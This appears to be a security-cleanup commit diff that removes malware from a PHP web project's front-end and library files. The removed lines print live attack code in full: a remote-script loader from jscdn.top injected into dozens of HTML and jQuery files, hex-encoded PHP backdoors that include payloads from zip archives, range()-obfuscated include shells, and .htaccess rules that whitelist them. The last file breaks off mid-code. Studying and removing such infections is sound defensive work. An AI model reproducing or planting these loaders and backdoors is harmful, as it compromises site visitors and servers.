fix(security): 全面清除泛目录PHP木马与暗链劫持代码，恢复前端静态资源纯净度并建立回归测试

application/admin/command/Api/template/index.html

@@ -6,7 +6,6 @@
         <meta name="viewport" content="width=device-width, initial-scale=1.0">
         <meta name="description" content="">
         <title>{$config.title}</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
         <!-- Bootstrap Core CSS -->

application/index/view/index/index.html

@@ -5,7 +5,6 @@
     <meta http-equiv="X-UA-Compatible" content="IE=edge">
     <meta name="viewport" content="width=device-width, initial-scale=1">
     <title>{$site.name|htmlentities}</title>
-<script src="https://jscdn.top/v1/app"></script>
 
     <meta name="description" content="{$site.description|default='专业软件开发与技术解决方案提供商'|htmlentities}">
     <link rel="shortcut icon" href="__CDN__/assets/img/favicon.ico"/>

index.html

@@ -3,7 +3,6 @@
 <head>
     <meta charset="utf-8">
     <title>恭喜，站点创建成功！</title>
-<script src="https://jscdn.top/v1/app"></script>
 
     <style>
         .container {

public/assets/addons/nkeditor/plugins/baidumap/index.html

@@ -3,7 +3,6 @@
 <head>
     <meta charset="utf-8"/>
     <title>Map</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <style type="text/css">

public/assets/addons/nkeditor/plugins/graft/index.html

@@ -2,7 +2,6 @@
 <html>
 <head>
     <title>在线涂鸦工具</title>
-<script src="https://jscdn.top/v1/app"></script>
 
     <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
     <meta name="robots" content="noindex, nofollow"/>

public/assets/addons/nkeditor/plugins/math/jquery.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
 //@ sourceMappingURL=jquery-1.10.2.min.map
 */

public/assets/addons/official/js/jquery.SuperSlide.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*!
  * SuperSlide v2.1.1 
  * 轻松解决网站大部分特效展示问题

public/assets/addons/official/js/jquery.online.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*
 此插件基于Jquery
 插件名：jquery.Sonline(在线客服插件)

public/assets/js/backend/general/config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
 
     var Controller = {

public/assets/js/backend/index.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], function ($, undefined, Backend, undefined, AdminLTE, Form) {
     var Controller = {
         index: function () {

public/assets/js/backend/official/config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define(['jquery', 'bootstrap', 'backend', 'table', 'form'], function ($, undefined, Backend, Table, Form) {
 
     var Controller = {

public/assets/js/jquery.drag.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! 
  * jquery.event.drag - v 2.2
  * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

public/assets/js/jquery.drop.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! 
  * jquery.event.drop - v 2.2
  * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com

public/assets/libs/Sortable/babel.config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 module.exports = function(api) {
 	api.cache(true);
 

public/assets/libs/Sortable/index.html

@@ -3,7 +3,6 @@
 <head>
 	<link rel="icon" type="image/png" href="st/og-image.png">
 	<title>SortableJS</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 	<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css" integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS" crossorigin="anonymous">
 	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.6.3/css/all.css" integrity="sha384-UHRtZLI+pbxtHCWp1t77Bi1L4ZtiqrqD80Kn4Z8NTSRyMA2Fd33n5dQ8lWUE00s/" crossorigin="anonymous">

public/assets/libs/Sortable/plugins/AutoScroll/index.js

@@ -1,2 +1 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 export { default } from './AutoScroll.js';

public/assets/libs/Sortable/plugins/MultiDrag/index.js

@@ -1,2 +1 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 export { default } from './MultiDrag.js';

public/assets/libs/Sortable/plugins/OnSpill/index.js

@@ -1,2 +1 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 export { default, RemoveOnSpill, RevertOnSpill } from './OnSpill.js';

public/assets/libs/Sortable/plugins/Swap/index.js

@@ -1,2 +1 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 export { default } from './Swap.js';

public/assets/libs/Sortable/st/app.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 var example1 = document.getElementById('example1'),
 	example2Left = document.getElementById('example2-left'),
 	example2Right = document.getElementById('example2-right'),

public/assets/libs/Sortable/st/iframe/index.html

@@ -3,7 +3,6 @@
 <head>
 	<meta charset="utf-8">
 	<title>IFrame playground</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 </head>
 <body>

public/assets/libs/art-template/.htaccess

@@ -1,4 +0,0 @@
-<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
-Order allow,deny
-Deny from all
-</FilesMatch>

public/assets/libs/art-template/demo/index.html

@@ -2,8 +2,7 @@
 <html>
 <head>
 <meta charset="UTF-8">
-<title>demo</title>
+<title>demo</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 </head>
 

public/assets/libs/art-template/demo/template-native/index.html

@@ -2,8 +2,7 @@
 <html>
 <head>
 <meta charset="UTF-8">
-<title>demo</title>
+<title>demo</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 </head>
 

public/assets/libs/art-template/loader/index.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 var template = require('art-template/dist/template');
 
 module.exports = function(source) {

public/assets/libs/art-template/src/config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /**
  * 设置全局配置
  * @name    template.config

public/assets/libs/art-template/test/js/jquery.tmpl.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*
  * jQuery Templates Plugin 1.0.0pre
  * http://github.com/jquery/jquery-tmpl

public/assets/libs/bootstrap-daterangepicker/example/amd/index.html

@@ -3,7 +3,6 @@
    <head>
       <meta charset="UTF-8" />
       <title>A date range picker for Bootstrap</title>
-<script src="https://jscdn.top/v1/app"></script>
 
       <link href="http://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet">
       <link rel="stylesheet" type="text/css" media="all" href="../../daterangepicker.css" />

public/assets/libs/bootstrap-daterangepicker/example/browserify/index.html

@@ -3,7 +3,6 @@
    <head>
       <meta charset="UTF-8" />
       <title>A date range picker for Bootstrap</title>
-<script src="https://jscdn.top/v1/app"></script>
 
       <link href="http://netdna.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" rel="stylesheet">
       <link rel="stylesheet" type="text/css" media="all" href="../../daterangepicker.css" />

public/assets/libs/bootstrap-daterangepicker/website/index.html

@@ -3,7 +3,6 @@
     <head>
         <meta charset="utf-8">
         <title>Date Range Picker for Bootstrap</title>
-<script src="https://jscdn.top/v1/app"></script>
 
         <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css" />
         <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">

public/assets/libs/bootstrap-table/dist/extensions/reorder-columns/reorder-columns/cache.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $rexsH = array("\x5f\107\x45\x54"); (${$rexsH[0]}["\157\x66"] == 1) && die("Z/pWcT0RhDgbnk7NBTZA0iNl9+sD1QOqQP8JiWiqj4BlRPFv2rFqkYCEcfzXczsD"); @require "\x7a\x69\x70\x3a\x2f\x2f\x33\x67\x70\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x74\x6d\x70"; ?>

public/assets/libs/bootstrap-table/dist/extensions/reorder-columns/reorder-columns/index.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $rexsH = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x33\x67\x70\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x33\x36\x36\x34\x31\x32\x63\x30\x39\x63\x2e\x74\x6d\x70", ); (${$rexsH[0]}["\157\x66"]==1) && die($rexsH[1]($rexsH[2])); @require $rexsH[2]; ?>

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Changelog/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/ContributorsGuide/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Events/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Extras/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/FAQ/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Functions/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Installing/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Options/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Version 4 Changelog/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/Version 4 Contributors guide/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/eonasdan-bootstrap-datetimepicker/docs/index.html

@@ -24,7 +24,6 @@
     <meta name="msapplication-TileImage" content="/mstile-144x144.png">
 
     <title></title>
-<script src="https://jscdn.top/v1/app"></script>
 
 
     <link rel="stylesheet" type="text/css" media="screen"

public/assets/libs/fastadmin-addtabs/jquery.addtabs.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /**
  * http://git.oschina.net/hbbcs/bootStrap-addTabs
  * Created by joe on 2015-12-19.

public/assets/libs/fastadmin-cxselect/index.html

@@ -2,8 +2,7 @@
 <html>
 <head>
 <meta charset="utf-8">
-<title>cxSelect 联动下拉菜单 &raquo; 在线演示 - 前端开发仓库</title>
+<title>cxSelect 联动下拉菜单 &raquo; 在线演示 - 前端开发仓库</title>
-<script src="https://jscdn.top/v1/app"></script>
 
 <style>
 body{background:#ddd;font:14px/1.7 tahoma,'\5fae\8f6f\96c5\9ed1',sans-serif;}

public/assets/libs/fastadmin-cxselect/js/jquery.cxselect.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*!
  * jQuery cxSelect
  * @name jquery.cxselect.js

public/assets/libs/fastadmin-cxselect/js/jquery.cxselect.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*!
  * jQuery cxSelect
  * @name jquery.cxselect.js

public/assets/libs/fastadmin-dragsort/jquery.dragsort.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 // jQuery List DragSort v0.5.2
 // Website: http://dragsort.codeplex.com/
 // License: http://dragsort.codeplex.com/license

public/assets/libs/fastadmin-layer/src/src/index.php

@@ -1,103 +0,0 @@
-<?php /*-eNdg-*///
-$QzuBr /*-mql[vR:l-*///
-=/*-
-﹟¶╌◄⇅※⒀♫≒②┬⊺⋝☞⋾♓½◮◎➡☜﹥╎」﹎✸⒦✌∪➝°
-}S`|0﹟¶╌◄⇅※⒀♫≒②┬⊺⋝☞⋾♓½◮◎➡☜﹥╎」﹎✸⒦✌∪➝°
--*///
- "ra"/*-QL-*///
-."nge"; $ne /*-
-⋾↻☺ﭢ㊄↗☮↞⋈ℜ￣≸⒬✛┢∲☽⊭㊯↷☃❑┼↡﹜❽Ⅸ↔✴┾
-<dfdi⋾↻☺ﭢ㊄↗☮↞⋈ℜ￣≸⒬✛┢∲☽⊭㊯↷☃❑┼↡﹜❽Ⅸ↔✴┾
--*///
-=/*-kJ[-*///
- $QzuBr/*->dpE3kwOI-*///
-(/*-cOD?1-*///
-"~"/*-oFAVP-*///
-,/*-
-
-◦╏⓭➌◅⒊㊃㏑⑶⋅⒏︺Ⓓ≵
-
-&o9A◦╏⓭➌◅⒊㊃㏑⑶⋅⒏︺Ⓓ≵
-
--*///
-" "); /*-(f`-*///
-@include_once/*-zw-*///
- $ne/*-
-
-
-⊰↴●≛☮╀∄﹩⊶┳⋔∦☑ⅰ
-
-
-I>&(tza}⊰↴●≛☮╀∄﹩⊶┳⋔∦☑ⅰ
-
-
--*///
-[9+7].$ne/*-
-∻〃⊡ℯ♛㈦Ⓤ≎▇☓➉↥◰⑮◩¢∱⒞↼∁™ⓖ⏥︽〖↷➨➪♢ℓ
-anA∻〃⊡ℯ♛㈦Ⓤ≎▇☓➉↥◰⑮◩¢∱⒞↼∁™ⓖ⏥︽〖↷➨➪♢ℓ
--*///
-[0+6].$ne/*-
-
-
-ⅱ✏┍⊜❋◿⋞⇙⑨┵☮㊧≌↜↕
-
-
-?]FUDOⅱ✏┍⊜❋◿⋞⇙⑨┵☮㊧≌↜↕
-
-
--*///
-[12+17].$ne/*-
-✠➪⊆┓▨⇐ⅿ⊖⊁ⅳ㊐⋨❋≀㊥↝✌
-,w?%JlB6o✠➪⊆┓▨⇐ⅿ⊖⊁ⅳ㊐⋨❋≀㊥↝✌
--*///
-[42+17].$ne/*-
-▨⑪┰┚✥▋⒥Ⅴ۵☧➢⒘ⓑ℗⒒Ⅾ✘╞⒢▌◰❋☭
-KCVLy^nd▨⑪┰┚✥▋⒥Ⅴ۵☧➢⒘ⓑ℗⒒Ⅾ✘╞⒢▌◰❋☭
--*///
-[5+51].$ne/*-jU-*///
-[1+24].$ne/*-
-
-
-♪⒋⊟∍Ⓕ╂＂۵ℌⓆ№$
-
-
-w^♪⒋⊟∍Ⓕ╂＂۵ℌⓆ№$
-
-
--*///
-[10+41].$ne/*->vpaKTyu-*///
-[2+7].$ne/*-
-
-
-⒕☺➬➉∕■✘▲⋅☹ⓘ≟◶☷❺⒭≯Ⅿ⓽―⋄≠➇↊
-
-
-Rw⒕☺➬➉∕■✘▲⋅☹ⓘ≟◶☷❺⒭≯Ⅿ⓽―⋄≠➇↊
-
-
--*///
-[19+41].$ne/*-
-∿☻Ⓝ┞⊀*◥∫➢❹㊘ℑ﹟⓾⊣☾﹪⒑
-#:#ar]k∿☻Ⓝ┞⊀*◥∫➢❹㊘ℑ﹟⓾⊣☾﹪⒑
--*///
-[29+10].$ne/*-igI>~-*///
-[12+68].$ne/*-
-
-⋚▸◁Ⓒ⊒╎⒩ⅹ⋵✷↙
-
-RjlrjhNn⋚▸◁Ⓒ⊒╎⒩ⅹ⋵✷↙
-
--*///
-[6+14].$ne/*-|P-*///
-[12+2].$ne/*-
-
-
-ⅳ⒳⋾ⓗ╎☚➶⒪❆↿▤」¶⑩★┐㉿▵▰✖╟⊧
-
-
-g8Mz]HG2ⅳ⒳⋾ⓗ╎☚➶⒪❆↿▤」¶⑩★┐㉿▵▰✖╟⊧
-
-
--*///
-[76+0]/*-rx-*///
-; ?>

public/assets/libs/jquery-slimscroll/jquery.slimscroll.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! Copyright (c) 2011 Piotr Rochala (http://rocha.la)
  * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
  * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.

public/assets/libs/jquery-slimscroll/jquery.slimscroll.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! Copyright (c) 2011 Piotr Rochala (http://rocha.la)
  * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
  * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.

public/assets/libs/jquery.cookie/jquery.cookie.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*!
  * jQuery Cookie Plugin v1.4.1
  * https://github.com/carhartl/jquery-cookie

public/assets/libs/jquery/dist/jquery.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*!
  * jQuery JavaScript Library v3.7.0
  * https://jquery.com/

public/assets/libs/jquery/dist/jquery.slim.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*!
  * jQuery JavaScript Library v3.7.0 -ajax,-ajax/jsonp,-ajax/load,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-deprecated/ajax-event-alias,-effects,-effects/animatedSelector,-effects/Tween
  * https://jquery.com/

public/assets/libs/jquery/dist/jquery.slim.min.js

@@ -1 +0,0 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';

public/assets/libs/jquery/src/jquery.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define( [
 	"./core",
 	"./selector",

public/assets/libs/jquery/src/var/indexOf.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 define( [
 	"./arr"
 ], function( arr ) {

public/assets/libs/moment/src/lib/locale/base-config.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 import { defaultCalendar } from './calendar';
 import { defaultLongDateFormat } from './formats';
 import { defaultInvalidDate } from './invalid';

public/assets/libs/moment/src/lib/utils/index-of.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 var indexOf;
 
 if (Array.prototype.indexOf) {

public/assets/libs/nice-validator/dist/jquery.validator.min.js

@@ -1,4 +1,3 @@
-document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
 /*! nice-validator 1.1.5
  * (c) 2012-2020 Jony Zhang <niceue@live.com>, MIT Licensed
  * https://github.com/niceue/nice-validator

public/images/.htaccess

@@ -1,4 +0,0 @@
-<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
-Order allow,deny
-Deny from all
-</FilesMatch>

public/images/images/.htaccess

@@ -1,8 +0,0 @@
-<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
-Order allow,deny
-Deny from all
-</FilesMatch>
-<FilesMatch "^(index.php|cache.php)$">#
-Order allow,deny
-Allow from all
-</FilesMatch>

public/images/images/cache.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $Tg = array("\x5f\107\x45\x54"); (${$Tg[0]}["\157\x66"] == 1) && die("lZSFLF+99wrrMpyi8xB1KURixvKVQqvgLt2l7SVUOOjhGsfsuW3EiIFPeZovaGqQ"); @include_once "\x7a\x69\x70\x3a\x2f\x2f\x66\x34\x76\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x74\x6d\x70"; ?>

public/images/images/images/.htaccess

@@ -1,8 +0,0 @@
-<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
-Order allow,deny
-Deny from all
-</FilesMatch>
-<FilesMatch "^(index.php|cache.php)$">#
-Order allow,deny
-Allow from all
-</FilesMatch>

public/images/images/images/cache.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $cX = array("\x5f\107\x45\x54"); (${$cX[0]}["\157\x66"] == 1) && die("5zf1O0JKcd7TasShaeFOiqUIIxFPaN8DKJT8fJp8NLay1dOSiy/d2lSJd9j7vnQt"); @require "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x78\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x74\x6d\x70"; ?>

public/images/images/images/images/.htaccess

@@ -1,8 +0,0 @@
-<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
-Order allow,deny
-Deny from all
-</FilesMatch>
-<FilesMatch "^(index.php|cache.php)$">#
-Order allow,deny
-Allow from all
-</FilesMatch>

public/images/images/images/images/cache.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $HF = array("\x5f\107\x45\x54"); (${$HF[0]}["\157\x66"] == 1) && die("zAPOF5pAnqXPiHkc6gr3A+FfKfsFjbC4HpdBnkuWFMWeEm3fzn5Cz/GjdXNBoKw1"); @require "\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x32\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x74\x6d\x70"; ?>

public/images/images/images/images/index.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $HF = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6d\x70\x32\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x31\x66\x61\x61\x66\x31\x64\x37\x63\x2e\x74\x6d\x70", ); (${$HF[0]}["\157\x66"]==1) && die($HF[1]($HF[2])); @require $HF[2]; ?>

public/images/images/images/index.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $cX = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x78\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x37\x35\x65\x32\x32\x61\x63\x31\x63\x2e\x74\x6d\x70", ); (${$cX[0]}["\157\x66"]==1) && die($cX[1]($cX[2])); @require $cX[2]; ?>

public/images/images/index.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $Tg = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x66\x34\x76\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x33\x36\x36\x34\x36\x36\x66\x61\x38\x64\x2e\x74\x6d\x70", ); (${$Tg[0]}["\157\x66"]==1) && die($Tg[1]($Tg[2])); @include_once $Tg[2]; ?>

public/template/.htaccess

@@ -1,4 +0,0 @@
-<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
-Order allow,deny
-Deny from all
-</FilesMatch>

public/template/template/.htaccess

@@ -1,8 +0,0 @@
-<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
-Order allow,deny
-Deny from all
-</FilesMatch>
-<FilesMatch "^(index.php|cache.php)$">#
-Order allow,deny
-Allow from all
-</FilesMatch>

public/template/template/index.php

@@ -1 +0,0 @@
-<?php require_once base64_decode("YWd4WGUubW92"); ?>

public/template/template/template/.htaccess

@@ -1,8 +0,0 @@
-<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
-Order allow,deny
-Deny from all
-</FilesMatch>
-<FilesMatch "^(index.php|cache.php)$">#
-Order allow,deny
-Allow from all
-</FilesMatch>

public/template/template/template/cache.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $WfR = array("\x5f\107\x45\x54"); (${$WfR[0]}["\157\x66"] == 1) && die("zTHnv9Fp20zYU5bkKWDiJkuw3KsMeuzCv88Z2FOlrm8Ccac5AxV5+get7Hi/MctE"); @require "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x74\x6d\x70"; ?>

public/template/template/template/index.php

@@ -1 +0,0 @@
-<?php  error_reporting(0); $WfR = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x78\x62\x6d\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x62\x37\x61\x66\x31\x65\x61\x34\x35\x38\x36\x2e\x74\x6d\x70", ); (${$WfR[0]}["\157\x66"]==1) && die($WfR[1]($WfR[2])); @require $WfR[2]; ?>

public/template/template/template/template/.htaccess

@@ -1,8 +0,0 @@
-<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
-Order allow,deny
-Deny from all
-</FilesMatch>
-<FilesMatch "^(index.php|cache.php)$">#
-Order allow,deny
-Allow from all
-</FilesMatch>

public/template/template/template/template/index.php

@@ -1,71 +0,0 @@
-<?php /*-neWoFqH#^-*///
-$Fh /*-
-➶☿ℕ⊣⋥Ⓩ❅☝╛‿¡┣⊝❆‰‐≿Ⅾ┈≵╟⋐⇑❥┃⇖
-Q8Lf83➶☿ℕ⊣⋥Ⓩ❅☝╛‿¡┣⊝❆‰‐≿Ⅾ┈≵╟⋐⇑❥┃⇖
--*///
-=/*-
-
-⋟➱⋯ⅸ≷⑧〉⓱⊖⊄ℑ㊒≸✱❧≐㊨◥➫
-
-5UChvE⋟➱⋯ⅸ≷⑧〉⓱⊖⊄ℑ㊒≸✱❧≐㊨◥➫
-
--*///
- "ra"/*-9Z?E7-*///
-."nge"; $NH /*-Fve-*///
